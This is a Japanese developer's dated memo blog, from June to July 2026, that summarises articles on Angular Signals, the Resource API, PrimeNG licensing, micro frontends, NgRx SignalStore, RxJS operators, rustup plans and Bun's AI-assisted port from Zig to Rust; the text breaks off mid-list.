2026.07.16 覚書 / 2026.07.16 memo's

2026.07.16 覚書 / 2026.07.16 memo's

自分が参考になったブログの紹介します。

Angular

dev.to

• Angular 週次ニュース記事で、主な話題は PrimeNG / PrimeReact / PrimeVue の新ライセンス方針 と Angular 向け A2UI です。
• PrimeNG 系の将来メジャーバージョンは、従来の完全 OSS ではなく、個人・学生・非営利・小規模組織など向けの Community license と、商用の PrimeUI ライセンスに分かれる流れとして紹介されています。
• 商用ライセンスは launch price として 1 developer あたり USD 599、対象バージョンの perpetual license と 1 年分の更新が含まれる、と説明されています。
• これに対して OpenNG が PrimeNG の fork を作成し、Angular 22 対応の beta を目指していることも取り上げられています。元 PrimeNG repository は 2026年6月28日に archive された、という文脈です。
• A2UI については、AI model / agent が UI component catalog を参照し、必要な UI コンポーネントを構造化メッセージとして返すことで、アプリ側が動的に UI を描画する仕組みとして紹介されています。
• そのほか、routerResource 的な Resource API と Router の統合、Native Federation / Module Federation の Angular 向け選択肢もニュースとして触れられています。

dev.to

• Angular Addicts Newsletter の第51号で、Angular 関連の注目記事・リリースをまとめたキュレーション記事です。
• リリース系では spartan/ui 1.0 が取り上げられています。spartan/ui は Angular 向けの UI コンポーネント / デザインシステム系として、最近かなり存在感が出てきている文脈です。
• “Angular Gems of June, 2026” として、Angular Resource Snapshot、A2UI、Angular Resource と Guards の相性、Angular Material Theming、Angular-native な caching、AI coding agent 向け architecture、Signal debouncing などが紹介されています。
• 記事自体は深掘り解説というより、「今月読むべき Angular 記事・資料リンク集」です。Angular 22 / Resource API / A2UI / Signals / AI coding agent 周辺のキャッチアップ用に向いています。
• 個人的に拾うなら、Getting to Know Angular Resource Snapshots、Angular resources are not a good fit for Guards、How to Debounce Angular Signals? あたりは、今後の Angular Signals / Resource 設計に直接効きそうです。

dev.to

• Angular Micro Frontend はデモでは簡単に見えるが、本番投入後に依存関係・認証・ルーティング・障害耐性・デプロイ境界の問題が表面化する、という実務寄りの記事です。
• 1つ目の失敗は、依存ライブラリを安易に shared にすることです。Angular core、RxJS、design system など状態や DI に関わるものは singleton として厳密に version pinning すべき、としています。
• 2つ目は、各 remote が独自に認証処理を持つことです。token refresh race や logout 不整合を避けるため、認証は shell が所有し、remote は共有 singleton service を通して認証状態を読むだけにするべきとしています。
• 3つ目は、ルーティングを後回しにすることです。shell が top-level route prefix を所有し、remote は自分の namespace 配下だけを扱う、という routing contract を初期に決めるべきとしています。
• 4つ目は、remote の読み込み失敗時の fallback がないことです。loadRemoteModule() には catch を入れ、エラー画面・retry・monitoring を用意すべき、と説明しています。
• 5つ目は、Micro Frontend なのに deploy が一体化していることです。remote ごとに独立 CI/CD がなければ、実態は「分散 monolith + 余計な network request」だ、というかなり刺さる指摘です。
• 全体として、Micro Frontend の難しさは実装コードよりも、依存関係・auth・routing・fallback・deployment の 事前設計契約 にある、という記事です。

dev.to

• PrimeNG v21.1.9 を対象に、accessibility、Signals 対応、zoneless 対応、Table performance、license などを実務目線で点検した記事です。著者は「攻撃記事ではなく、公開 repository に対する architecture review」と位置付けています。
• PrimeNG には Component: Accessibility label の open issue が 35 件、aria に関する open issue が 57 件あると指摘しています。Breadcrumb、Table / TreeTable、DatePicker などの具体例も挙げています。
• 特に重要なのは、axe などの自動チェックでは拾えない keyboard 操作・focus management の問題です。Table multi-sort、Tree context menu、PanelMenu、Menu / Menubar、ScrollPanel などで keyboard accessibility の課題があるとしています。
• Signals 対応は進行中だが中途半端で、Table では @Input() が多く残り、signal input() は一部に留まると指摘しています。将来的な signal API 移行の churn を避けるため、自前の薄い adapter component で包むことを勧めています。
• zoneless 対応も “Initial” であり、provideZonelessChangeDetection() 下での p-select や DynamicDialog 周辺の問題があるため、採用前に自分たちが使う component で spike 検証すべきとしています。
• Table performance についても v20/v21 で regression issue があるため、実データ件数・実カラム数で profile し、virtual scroll / lazy loading を初期設計で判断すべきとしています。
• LTS 版の license は MIT ではなく proprietary 条件を含むため、enterprise で古い Angular major に固定される可能性がある場合は、採用前に契約・調達面で確認すべきという指摘もあります。
• 一方で、PrimeNG の component 数、Angular major 追従、MIT community line、theming 改善などの長所も認めており、結論は「使うな」ではなく「何を引き受けるか理解して使え」です。

zenn.dev

• Angular v22 で stable になった Resource API family の全体像を、型と factory API の関係として整理した記事です。
• 対象 API は Resource<T>、WritableResource<T>、ResourceSnapshot<T>、resourceFromSnapshots()、resource()、httpResource() です。
• Resource<T> は Resource API の中心で、value、status、error、isLoading、snapshot を Signal として持つ読み取り専用 interface です。Resource object を受け取る汎用コードでは、この型を要求すればよい、という整理です。
• WritableResource<T> は Resource<T> を拡張し、set()、update()、reload()、asReadonly() を持つ書き込み可能 Resource です。利用側が値更新や再読み込みを trigger できる点が違いです。
• ResourceSnapshot<T> は Resource のある瞬間の状態を表す discriminated union で、idle、loading、reloading、resolved、local、error などの状態を表現します。
• resourceFromSnapshots() は Signal<ResourceSnapshot<T>> から読み取り専用 Resource<T> を作る低レベル factory です。記事では「Resource とは Signal<ResourceSnapshot> である」という見方が示されています。
• resource() は Promise-based loader または stream-based loader から WritableResource 系を作る API ですが、筆者は基本的には Promise loader 用に使うのがよさそう、stream 用途では resourceFromSnapshots() のほうが汎用的ではないか、と見ています。
• httpResource() は HTTP リクエストに特化した Resource factory で、headers、statusCode、progress など HTTP 固有の Signal も持ちます。ただし asReadonly() すると普通の Resource<T> になり、HTTP 固有情報は失われる点に注意が必要です。
• Resource API を「特別な built-in API」ではなく、Resource<T> interface を中心に差し替え可能な実装群として理解すると使いこなしやすい、という記事です。

zenn.dev

• Angular を Analog.js 上に載せ、tRPC、Drizzle ORM、Zod、NgRx Signals、Tailwind、Transloco、Storybook、Netlify まで組み合わせた フルスタック Angular 構成 の実践記事です。
• 技術スタックは、Analog.js 2.x、Angular 22、Vite、Nitro、tRPC v10、Drizzle ORM + PostgreSQL、Zod、@ngrx/signals、Tailwind CSS v4 + daisyUI v5、Transloco、Storybook 10、Netlify です。
• Analog.js は Angular 版 Next.js というより、Vite + Nitro + h3 の上に Angular を載せる Angular 版 Nuxt 的な構成 と説明されています。Nuxt / Nitro の知識をかなり流用できる点が強調されています。
• Angular 標準 SSR は express 雛形から先の情報が少なく詰まりやすいが、Analog.js は file-based routing、API routes、server middleware、Markdown content routing、SSR / SSG、deployment preset をまとめて提供する点が魅力として説明されています。
• file-based routing では src/app/pages/ に page component を置くだけで route が作られ、routeMeta に guard、title、data などを書けます。app.routes.ts に巨大な route 定義を書く必要が減る、という実務メリットがあります。
• Markdown を pages/ 配下に置くだけで静的ページにでき、frontmatter で title や meta / OGP も設定できます。利用規約やプライバシーポリシーのような静的ページに向いています。
• postRenderingHooks を使うと、プリレンダー済み HTML に route 単位で Google Analytics / GTM などを差し込めるため、Angular の起動を待たずに静的 HTML に計測タグを焼き込めます。
• tRPC + Zod + Drizzle により、DB schema、API input/output、client 側の型をかなり強く接続できます。記事では NgRx signalStore と組み合わせ、コンポーネント側は store.rows() のように signal を読むだけ、RxJS は store 内部に閉じ込める構成が紹介されています。
• Netlify への deploy は Nitro preset により、静的アセット / prerender ページは CDN、SSR / API / tRPC は Netlify Functions に乗る構成をかなり少ない設定で実現できる、と説明されています。
• Angular で Next.js / Nuxt 的なフルスタック DX をやりたい場合、Analog.js はかなり現実的な選択肢だと感じる記事です。Firebase Hosting 中心の構成とは別軸ですが、将来的に SSR / API routes / Markdown content を強く使うなら参考になります。

2026.07.12 覚書 / 2026.07.12 memo's

2026.07.12 覚書 / 2026.07.12 memo's

自分が参考になったブログの紹介します。

Angular

dev.to

• Angular コンポーネントをリリースする前に通すべき WCAG AA 対応チェックリストをまとめた記事です。
• 主張の中心は、AXE / Lighthouse などの自動チェックだけでは不十分で、実際にキーボード操作とスクリーンリーダーで確認する必要がある、という点です。記事では自動ツールが検出できる WCAG 問題は一部に限られると説明しています。
• チェック項目は、キーボード操作、フォーカス管理、セマンティクス、ARIA、フォームエラー、色・コントラスト、モーション、動的コンテンツ、スクリーンリーダー UX に分かれています。
• Angular 固有の観点として、<div (click)> より native な <button> を使う、CDK の cdkTrapFocus を使う、ルート遷移時に h1 へフォーカスを移す、CDK LiveAnnouncer を使う、といった実装例が出ています。
• フォームでは、label、aria-invalid、aria-describedby、role="alert" を使って、エラーを視覚だけでなく支援技術にも伝えるべきとしています。
• 実務的には、Angular コンポーネントライブラリや社内 UI コンポーネントの Definition of Done にそのまま入れられる内容です。

dev.to

• Angular Signals を、基礎からアーキテクト視点の設計パターンまで広く解説する記事です。
• signal()、computed()、effect() の役割を整理し、Signals は単なる新 API ではなく、Angular の変更検知・フォーム・非同期データ取得・DI の設計に関わる中核概念になっている、という立場です。
• Signals の内部モデルとして、変更時に依存先へ dirty を通知する push と、実際の再計算は読まれたタイミングで行う pull の組み合わせが説明されています。これにより glitch-free なリアクティブグラフを実現する、という内容です。
• computed() は依存 signal のバージョンを見てキャッシュを再利用し、条件分岐内で読まれた signal だけを動的に依存として追跡する、と説明されています。
• 記事では、Signals + OnPush + zoneless により、Zone.js ベースのツリー全体チェックから、signal を読んでいるコンポーネントだけを対象にした変更検知へ移る、と整理しています。
• 移行戦略としては、まず対応バージョンへ上げる、leaf component から input() / output() に変える、UI state 用の BehaviorSubject を signal() に置き換える、真の stream は Observable のまま残す、zoneless は最後にする、という段階的移行を勧めています。
• アンチパターンとして、effect() の中で別 signal を更新して状態同期すること、signal を通常メソッド内で読んで購読されると誤解すること、配列やオブジェクトを mutate することが挙げられています。
• 記事の実務的なポイントは、Signals と RxJS の境界設計です。UI の現在値・派生状態は Signals、debounce やイベント列は RxJS、と使い分ける考え方が強調されています。

dev.to

• Angular でユーザー操作ログを宣言的に扱うための ng-track-event-directive を紹介する記事です。
• 問題意識は、コンポーネントの click handler 内に analytics 呼び出しを書くと、プロダクト処理と計測処理が混ざり、コンポーネントが analytics provider に依存してしまうことです。
• 提案されている方法は、テンプレート側に [trackEvent] directive を書き、クリック、hover、viewport への表示、標準 DOM イベント、カスタムイベントを宣言的に計測する構成です。
• analytics 実装は adapter として注入し、Google Analytics / Mixpanel / Segment など特定の provider に directive が依存しない設計になっています。
• 例では、(click)="signup()" は通常のアプリ処理だけを担当し、[trackEvent]="trackConfig('signup:clicked', { source: 'hero' })" が計測を担当します。
• Firebase Analytics を入れる場合も、Angular コンポーネント内に直接 analytics 呼び出しを散らすより、このような directive + adapter 構成にすると後から差し替えや整理がしやすいです。

dev.to

• Angular の rxResource を mutation / command 実行に使うべきではない、という記事です。
• 例として、saveTrigger signal を変更して rxResource の params を反応させ、保存 API を呼ぶ実装が紹介されていますが、記事ではこれはアンチパターンだとしています。
• 問題点は、初期状態で params が undefined のまま stream が評価されること、同じ payload の再実行制御が曖昧になること、失敗後のリトライや復旧の意味が分かりにくくなることです。
• 記事のルールは明快で、rxResource は idempotent な read 用、つまり同じ入力で何度呼んでも問題ないデータ取得に使うべき、というものです。
• 保存、削除、送信、購入など「同じ操作を2回呼ぶと意味が変わるもの」は command であり、rxResource ではなく明示的な subscribe() や専用の command/mutation 処理として書くべきとしています。
• 前回の tap() inside rxResource の話と合わせて、rxResource は fetch + transform の read primitive として使い、副作用や命令実行の置き場にしない、という設計指針になります。

Rust

www.publickey1.jp

• JavaScript ランタイム Bun が、Zig 実装の大部分を Rust へ移植した件を紹介する Publickey の記事です。
• Bun 作者の Jarred Sumner 氏が、約53万5000行の Zig コードを Claude Fable 5 / Claude Code を使って、約11日間で Rust へ移植したと説明されています。次の Bun 1.4 Canary は Rust 移植版になるとされています。
• Rust へ移行した理由は、Zig でなければ Bun をここまで作れなかったと認めつつ、今後はメモリリークやメモリ操作ミスによるクラッシュを仕組みとして防ぐため、メモリ安全な Rust を選んだ、というものです。
• 作業前に Claude と約3時間議論し、Zig のパターンを Rust にどう対応づけるかをまとめた PORTING.md を作成しています。さらに構造体フィールドの lifetime を分析し、敵対的レビューを経て LIFETIMES.tsv を作ったとされています。
• 実際の移植では、多数のサブエージェントによる dynamic workflow を11日間回し、Zig ファイルの機械的移植、コンパイルエラー修正、bun test / bun build の復旧、全テストスイート通過、大規模リファクタリングを進めています。
• ピーク時には1分間に約1300行の Rust コードが生成され、6778コミットが行われ、Claude 利用量は API 価格換算で約16万5000ドル、約2640万円相当とされています。
• かなりぶっ飛んだ事例ですが、ポイントは「AI にコードを書かせた」よりも、テスト・敵対的レビュー・規範ドキュメント・ワークフロー修正で、AI 群を制御したところです。

zenn.dev

• Bun の Zig → Rust 移植事例を、一般的なプロダクト開発にどう応用できるかという観点で分析した記事です。
• 記事では、Bun が2026年5月3日から14日までの11日間で、コメントを除く53万5496行の Zig 実装を Rust に書き換え、diff は100万行超、ピーク時には64並列の Claude Code が動いていたと説明しています。
• 事前準備として、PORTING.md と LIFETIMES.tsv を作り、実装者1体、敵対的レビュアー2体以上、フィクサー1体という単位ループを設計した点が紹介されています。
• 品質保証の重心は、人間が全コードを読むことではなく、言語非依存のテストスイート、敵対的レビュー、プロセス改善へ移ったと分析されています。
• Bun のテストスイートは TypeScript 製で、Debian 環境だけでも60,624件のテスト、expect() 呼び出しが1,386,826件あり、実装言語に依存しない検証層があったことが成功条件だったと整理されています。
• レビューエージェントには実装エージェントの思考過程を渡さず、diff だけを渡すことで、実装者とレビュアーの文脈を分離していた点が重要視されています。
• 問題が起きたときに個別の出力を直すのではなく、規範ドキュメントやプロンプト、ワークフローのルールを直して以後の出力全体を改善する、という「ハーネスエンジニアリング」的な学びが中心です。
• 一般の開発現場でそのまま64並列・16万5000ドル規模を真似するのは難しい一方、判断基準をファイル化する、レビューを別コンテキストに分ける、問題が出たら出力ではなく規範を直す、少数タスクで試運転する、といった部分は小さく導入できるとしています。
• 特に重要なのは、この事例が「AI に設計を任せた」のではなく、正解が既存コードとテストスイートとして外部化されている移植タスクだったという点です。設計済みの仕事を大規模に任せた事例、と見るのが妥当です。

2026.07.08 覚書 / 2026.07.08 memo's

2026.07.08 覚書 / 2026.07.08 memo's

自分が参考になったブログの紹介します。

Angular

dev.to

• Angular のエラーハンドリングを「最後に付け足す機能」ではなく、アプリ全体のアーキテクチャとして設計すべき、という記事です。
• ErrorHandler だけに頼る設計は不十分で、API エラー、バリデーションエラー、業務ルール違反、ネットワーク障害、ランタイム例外をすべて同じように扱ってしまう問題を指摘しています。
• 記事の中心メッセージは「エラーは発生源に近い場所で処理し、復旧不能なものだけグローバルにエスカレーションする」です。
• 階層としては、UI 層、Service 層、HTTP Interceptor 層、Global ErrorHandler、Observability 層に責務を分ける構成が提案されています。
• Global ErrorHandler は、予期しないランタイム例外、サードパーティ由来の未処理例外、致命的クラッシュ、監視サービスへの送信などの「最後の安全網」として使うべき、と整理されています。
• HTTP Interceptor では、401/403、5xx、ネットワークエラー、Correlation ID、リトライ、構造化ログなど、通信層の標準化を担当させる設計が紹介されています。
• 実務的には、Sentry、Azure Application Insights、OpenTelemetry、Datadog RUM、LogRocket などを使い、ログ・メトリクス・トレースを収集する Observability 設計まで含めて考えるべき、という内容です。

dev.to

• Firebase Genkit と Angular Signals を使って、AI 処理の進行状況をリアルタイムに UI へ流す構成を紹介する記事です。
• 背景として、LLM や AI パイプラインの処理中に単なるローディングスピナーを出すだけでは UX が悪く、処理の段階をユーザーに見せるべき、という問題意識があります。
• 例では、履歴書解析の AI パイプラインを題材にし、構造解析、内容インパクト分析、改善提案生成という複数ステップを Genkit 側で実行しています。
• サーバー側では streamingCallback を使い、parsing_structure、analyzing_impact、generating_tips のような進行ステータスをクライアントに送信します。
• Angular 側では、書き込み可能な signal をサービス内部に隠し、コンポーネントには asReadonly() した signal を公開する設計が紹介されています。
• for await...of でストリームの chunk を受け取り、受信した status に応じて currentStep signal を更新し、最終結果は analysisResult signal に格納します。
• テンプレートでは @switch や @for を使って、現在のステップに応じた UI を宣言的に表示します。RxJS の複雑なパイプや async pipe を避け、Signals 中心の UI にしている点がポイントです。
• 実務上は、AI 処理・重いバックエンド処理・サーバーレス処理の「途中経過」を UI に出す設計として参考になります。

dev.to

• Angular Signal Forms を使い、選択内容によって表示項目とバリデーションを動的に変えるフォームを作る記事です。
• 例として、アカウント登録フォームで individual と business を切り替え、個人の場合は氏名、法人の場合は会社名・Tax ID・登録番号を表示する構成が扱われています。
• フォームモデルでは、最初に表示しない項目も含めて全フィールドを初期化することが推奨されています。未初期化だとフォームフィールドツリーに存在せず、後から参照・操作できないためです。
• schema() と hidden() を使い、アカウント種別に応じて individual セクションまたは business セクションを非表示にする実装が紹介されています。
• テンプレート側では、選択値を直接判定するのではなく、Signal Forms 側の hidden() 状態を見て @if で DOM から出し分けています。
• 表示を切り替えても入力データが失われない点が重要で、動的フォームを Signals ベースで安全に扱うための小さな実例になっています。

Design

github.com

• DESIGN.md という、AI コーディングエージェント向けのデザインシステム Markdown を集めたリポジトリです。
• DESIGN.md は Google Stitch で導入された概念で、AI エージェントが一貫した UI を生成するために読む、プレーンテキストのデザインシステム文書として説明されています。
• Figma export や JSON schema、専用ツールではなく、単なる Markdown ファイルをプロジェクトルートに置くだけで、AI コーディングエージェントや Google Stitch が UI の見た目・雰囲気を理解できる、という考え方です。
• AGENTS.md が「どう作るか」を coding agent に伝えるファイルだとすると、DESIGN.md は「どう見えるべきか」を design agent に伝えるファイル、という対比で説明されています。
• リポジトリには、Claude、Cohere、ElevenLabs、Mistral AI、Ollama、VoltAgent、Cursor、Expo、Lovable など、実在サービスのデザイン分析から作られた DESIGN.md が集められています。
• AI 駆動開発で「見た目が毎回ブレる」問題を抑えるために、プロジェクトにデザイン言語を Markdown として明文化する発想として面白いです。

Rust

blog.rust-lang.org

• Rustup Team が、rustup 1.30.0 リリースサイクルで取り組む予定を透明化するために公開した Inside Rust Blog の記事です。
• 大きなテーマのひとつは、rustup の「暗黙のツールチェーンインストール」挙動の見直しです。
• rustup 1.27 以前では、rustc や cargo などの proxy 実行時を含め、必要な toolchain がない場合に自動インストールされる挙動がありました。1.28.0 でいったん削除されましたが、周知不足で混乱を招いたため再有効化されました。
• 1.30 では、rustc や cargo のような proxy invocation では暗黙インストールを維持しつつ、rustup / rustup-init の一部サブコマンドでは不要な自動インストールを抑制する方針です。
• 今後は、rustup show などで暗黙インストールを誘発するのではなく、明示的に rustup install を使うことが推奨されています。
• もうひとつのテーマは、download / TLS backend の簡素化です。reqwest と rustls を推奨デフォルトとして進め、メンテナンス負荷の高い curl backend は 1.30 で削除予定とされています。
• CI や Dockerfile で rustup の副作用に依存している場合、将来的には rustup install <toolchain> を明示する形にしておくのが安全です。

RxJS

dev.to

• RxJS の mergeMap、concatMap、switchMap、exhaustMap の違いを、病院の患者対応に例えて説明する初心者向け記事です。
• 4つの operator はどれも Observable を別の Observable に変換しますが、本質的な違いは「前の処理が進行中に新しいリクエストが来たとき、どう扱うか」です。
• mergeMap は総合外来のように、来た患者を空いている医師へ同時に回すイメージです。複数の inner Observable を並列に実行し、順序保証はありませんがスループットが高いです。
• concatMap は専門医の診察のように、1人ずつ順番に処理します。順序を保ち、前の処理が完了してから次を開始するため、依存関係のある処理や順次アップロードに向いています。
• switchMap は ICU の緊急対応のように、より新しい患者が来たら前の対応を中断して最新のものに切り替えます。検索オートコンプリートのように「最新入力だけが重要」なケースに向いています。
• exhaustMap は手術中の外科医のように、現在の処理が終わるまで新しい入力を無視します。保存ボタンの連打防止や二重送信防止に向いています。
• 覚え方としては、「医師が忙しいときに次の患者が来たらどうするか？」で整理すると分かりやすい、という記事です。

dev.to

• Angular の rxResource の stream 内で tap() を使って signal に書き込むのをやめた理由を説明する短い記事です。
• よくあるアンチパターンとして、rxResource の stream 内で API 結果を受け取り、tap(data => this.sideSignal.set(...)) のように別 signal を更新するコードが紹介されています。
• zone ベースの Angular では動くことがあっても、zoneless や Angular のリアクティブグラフの制約が厳しくなると、NG0600: Writing to signals is not allowed in a reactive context が発生し得る、と説明しています。
• 理由は、rxResource の stream が Angular の reactive scheduler 内で動くためです。computed や reactive context の評価中に signal へ書き込むと、Signals の glitch-free な前提を壊すため禁止されます。
• 解決策として、tap() で副作用的に別 signal を更新するのではなく、stream が必要な値をすべて含む単一の型付き値を返す設計にすることが提案されています。
• つまり、rxResource は「読み取り用の primitive」であり、stream は fetch と transform のために使うべきで、command bus のように副作用を書き込む場所ではない、という主張です。

2026.06.27 覚書 / 2026.06.27 memo's

2026.06.27 覚書 / 2026.06.27 memo's

自分が参考になったブログの紹介します。

Angular

dev.to

• Angular 2以降のモダン Angular は、メジャーバージョンごとのサポート期間が約18か月と短く、定期的なアップデートが必須になる、という内容です。
• サポート期間は「約6か月のアクティブサポート」＋「約12か月の LTS」という構成で、半年ごとに新メジャーが出るため、半年ごとにどれかのバージョンが EOL になります。
• 記事では Angular 19 が 2026年5月18日に EOL、Angular 20 と Angular 21 がサポート対象として扱われています。
• 実務上は、Angular は「一度アップグレードして終わり」ではなく、6〜12か月ごとに ng update を実行する運用をロードマップに組み込むべき、という主張です。
• アップグレードはメジャーを飛ばさず、1バージョンずつ進めること、Angular Material / NgRx / サードパーティライブラリも合わせて追従することが推奨されています。

zenn.dev

• Angular v22 で追加された injectAsync を使い、サービス単位でビジネスロジックを遅延読み込みする方法を解説した記事です。
• 通常の inject() は依存先を静的参照するため、使う頻度が低いサービスでも初期バンドルに含まれます。injectAsync() は動的 import と組み合わせて、必要になったタイミングでサービスを読み込めるようにします。
• 例として、レポート出力機能のように「画面は表示するが、エクスポート処理はボタン押下時だけ使う」ケースで、ReportExporter サービスを遅延読み込みする例が紹介されています。
• ただし利用対象は @Injectable({ providedIn: 'root' }) または @Service() のサービスに限られ、複雑な provider 定義には対応しない点が制約です。
• Angular の遅延読み込み手段として、ルート単位の loadChildren / loadComponent、ビュー単位の @defer、サービス単位の injectAsync、通常の ES Module import(...) を使い分ける、という整理がされています。

NgRx

dev.to

• 従来の NgRx は、Actions / Reducers / Effects / Selectors などの儀式が多く、小〜中規模の状態管理には重すぎることが多かった、という問題意識から始まる記事です。
• NgRx SignalStore は Redux 的な dispatch / reducer 構造を捨て、Angular Signals をベースに「state は signals」「変更は methods」というシンプルなモデルにしている点を評価しています。
• withState で状態、withComputed で派生状態、withMethods で状態変更メソッドを定義する構成が紹介されています。
• patchState を使って state を更新し、配列やオブジェクトは直接 mutate せず、新しい参照を作るべきだと強調しています。直接 push() すると signal が変化を検知できず、computed が古い値のままになる可能性があります。
• 非同期処理では rxMethod を使い、switchMap によるリクエストキャンセルなど、RxJS が引き続き有効であることを説明しています。結論として「UI状態は Signals、非同期イベント列は RxJS」という住み分けです。
• store を providedIn: 'root' にするか、コンポーネントの providers に置いて画面単位にスコープするかが重要で、画面固有の state を何でもグローバルにするのは避けるべき、という実務的な指摘があります。

dev.to

• NgRx Signal Store の入門チュートリアル記事です。Angular Signals に慣れていて、従来の NgRx も知っている開発者向けに書かれています。
• NgRx Signal Store は従来の @ngrx/store を完全に置き換えるものではなく、Actions → Reducers → Selectors が過剰に感じる場面向けの軽量な選択肢として位置付けられています。
• signalStore()、withState()、withComputed()、withMethods() を使い、商品一覧・ローディング状態・派生状態を管理する例が紹介されています。
• コンポーネント側では通常のサービスのように store を inject() し、テンプレートから store.products() や store.productsCount() のように signal として直接参照します。async pipe や subscribe() は不要です。
• 初期例では firstValueFrom と async/await で HTTP を扱っていますが、より NgRx Signal Store らしい実装として rxMethod と tapResponse への書き換えも紹介されています。
• rxMethod 版では switchMap による前回リクエストのキャンセル、tapResponse によるエラー時にもストリームを終了させない処理がポイントです。

https://dev.to/atilla_baspinar_c5c68ec63/angular-signals-and-effects-35mndev.to

• Angular Signals の基礎から、signal()、computed()、effect()、RxJS 連携、input() / model() / output() までをまとめた解説記事です。
• signal() はリアクティブな値コンテナで、値の読み取りは関数呼び出し形式、更新は set() または update() を使うと説明しています。
• computed() は他の signal から派生する読み取り専用 signal で、遅延評価・キャッシュ・依存 signal 変更時の再計算が行われます。
• テンプレート内では count() のように signal を呼び出すことで Angular が依存関係を追跡し、必要な箇所だけ再描画できる、という説明です。
• コンポーネントクラス内で signal をただ読むだけでは購読にはならないため、副作用を起こしたい場合は effect() を使うべき、と整理されています。
• effect() は logging、localStorage 書き込み、外部ライブラリ連携、DOM 操作など「Angular のリアクティブ状態から外部世界へ影響を出す」用途に使うべきで、派生状態には computed() を使うべき、という切り分けです。
• effect() の onCleanup を使うことで、タイマー、fetch、イベントリスナーなどを再実行前やコンポーネント破棄時に掃除できる点も説明されています。
• Signals と RxJS は競合ではなく役割が異なり、UI状態や派生状態は Signals、HTTP / WebSocket / イベント列 / debounce / switchMap などは RxJS が向いている、という整理です。toSignal() と toObservable() による相互変換も紹介されています。

2026.06.13 覚書 / 2026.06.13 memo's

2026.06.13 覚書 / 2026.06.13 memo's

自分が参考になったブログの紹介します。

Angular

dev.to

• Angular 21 から Angular 22 への変化を、「派手な新機能」ではなく 成熟・整理・性能改善・設計方針の明確化 としてまとめた記事です。Angular 22 は drastic shift ではなく maturity upgrade だ、という位置づけです。
• 大きな比較軸は、Signals、Zoneless、Template Control Flow、Effects、Performance、DX、Architecture です。
• Angular 21 では Signals が広く使われ始めた段階で、RxJS / traditional state / signals が混在しがちだったのに対し、Angular 22 では signal()、computed()、effect() を中心にした Signals-first な設計がより標準的になった、と説明しています。
• Zoneless については、Angular 21 では可能だが一般化はまだ、Angular 22 では Zone.js 依存を減らし、明示的な reactivity に寄せる流れが強くなった、という整理です。
• Template Control Flow では、@if / @for / @switch の新構文が Angular 22 でより推奨され、*ngIf / *ngFor の microsyntax は legacy 感が強くなる、と述べています。
• effect() については、派生 state を作るために使うのではなく、派生値は computed()、副作用は effect() という分離を強調しています。
• アップグレード判断としては、Signals を本格採用したい、新規プロジェクト、性能改善を狙いたい場合は Angular 22 へ進む価値がある一方、安定稼働中で RxJS-heavy な既存設計に強く依存しているなら急がなくてもよい、というニュアンスです。
• 読みどころとしては、公式 changelog の詳細というより、「Angular 22 時代の設計の空気感」を短く掴む記事です。ただし、やや概念的なまとめなので、正確な API 差分は公式 Angular v22 announcement / changelog と照合した方がよいです。

dev.to

• Angular 22 で ComponentPortal に directive を適用できる ようになったことを、CDK Portal の実例で説明する記事です。
• 題材は、checkout 画面の “Need help?” パネルです。同じ PaymentHelpComponent を、画面内の CdkPortalOutlet と、document.body に直接出す DomPortalOutlet の両方で動的表示する例が使われています。
• 問題意識は、「動的に生成された component の host element に、文脈ごとの振る舞いやアクセシビリティ属性を付けたいが、それを component 本体に埋め込みたくない」というものです。
• 例では PortalPanelDirective を作り、host に role="region"、aria-label、tabindex="-1" を付与し、afterNextRender() で focus する処理を定義しています。
• Angular 22 では、new ComponentPortal(...) の引数に directives 配列を渡し、type: PortalPanelDirective と inputBinding('ariaLabel', ...) で directive input を設定できます。
• 同じ PaymentHelpComponent でも、inline 表示では aria-label="Payment help for checkout"、floating panel では aria-label="Floating payment help" のように、表示場所に応じて host behavior を変えられます。
• この記事の結論は、ComponentPortal が単なる「動的 component 表示」だけでなく、その表示文脈に必要な host behavior を一緒に運べる仕組みになった という点です。
• 実務的には、Dialog、Overlay、Portal、Floating UI、ヘルプパネル、通知パネルなどで、component 本体を汚さずに a11y 属性・focus 制御・context-specific behavior を付与したい場合にかなり便利です。
• ただし、記事にもある通り、現状の ComponentPortal constructor は第 6 引数に directives を渡す形で少し冗長です。ラップ関数や factory を用意すると実プロダクトでは扱いやすそうです。

dev.to

• Angular の httpResource() によって、従来の HttpClient.subscribe()、loading boolean、error field、subscription cleanup などの boilerplate を大幅に削減できる、という記事です。
• 従来の Angular data fetching では、users = []、loading = false、error = null を用意し、ngOnInit() で http.get().subscribe() し、成功時・失敗時に loading を手動で切り替える、という定型コードが多くなりがちだと説明しています。
• httpResource<User[]>(() => '/api/users') を使うと、value()、isLoading()、error()、status() が signals として扱えるようになります。template 側では @if (usersResource.isLoading())、@else if (usersResource.error())、@for (user of usersResource.value()) のように状態を読むだけになります。
• subscribe、takeUntilDestroyed、loading の reset 漏れなどが不要になり、resource の lifecycle は component と一緒に管理されます。ここ、地味だけど実務ではかなり効くやつです。
• 特に重要なのは、request 定義が signal を読む関数になっている点です。たとえば selectedId signal を URL に使うと、selectedId.set(42) だけで URL が再計算され、再 fetch され、loading state も更新されます。
• 筆者は、以前なら Subject、switchMap、race condition 対策コメントで書いていた処理が、framework による依存追跡で自然に表現できると評価しています。入力変更時の in-flight request cancellation、つまり switchMap 的な振る舞いも得られると説明しています。

• 記事では Resource API を 3 段階で整理しています。

  • httpResource()：HTTP GET 向けの高レベル API
  • resource()：Promise を返す任意の async loader 向け
  • rxResource()：debounced search、retry/backoff、stream 合成など RxJS operators が必要な場合の escape hatch
• 筆者の結論は、「Angular が RxJS を捨てる」のではなく、HTTP state は Resource / Signals に寄せ、RxJS は本当に時間・stream の問題がある場所に残す というものです。
• 注意点として、記事時点では httpResource は experimental とされ、v19〜v21 の間でも API が動いていること、また error state で value() を読むと throw するため、error() / isLoading() を先に判定する必要があると述べています。
• 実務的には、一覧・詳細・選択 ID に応じた fetch・手動 reload・軽い optimistic update などはかなりシンプルにできそうです。一方、複雑な retry、WebSocket、複数 stream の合成は RxJS / rxResource() 側に残すのがよさそうです。

dev.to

• Angular 2026 年時点の state management を、Pure Signals、NgRx SignalStore、Akita、NGXS、NgRx ComponentStore、NgRx classic で比較する記事です。
• 記事冒頭では、Angular 19 の 22k LOC の marketing analytics SaaS “Mattrx” で state layer を 8 か月かけて整理し、state-management LOC を 8,400 → 3,100、state 関連 bundle を 38 KB → 18 KB、/campaigns の keystroke ごとの re-render を 47 → 3 に減らした、としています。
• 筆者の中心主張は、「正しい state library を 1 つ選ぶ」のではなく、state の種類ごとに最小限の抽象化を選ぶ ことです。
• state を 4 種類に分けています。
  • Local UI state：dropdown open、active tab、input → component の Signal
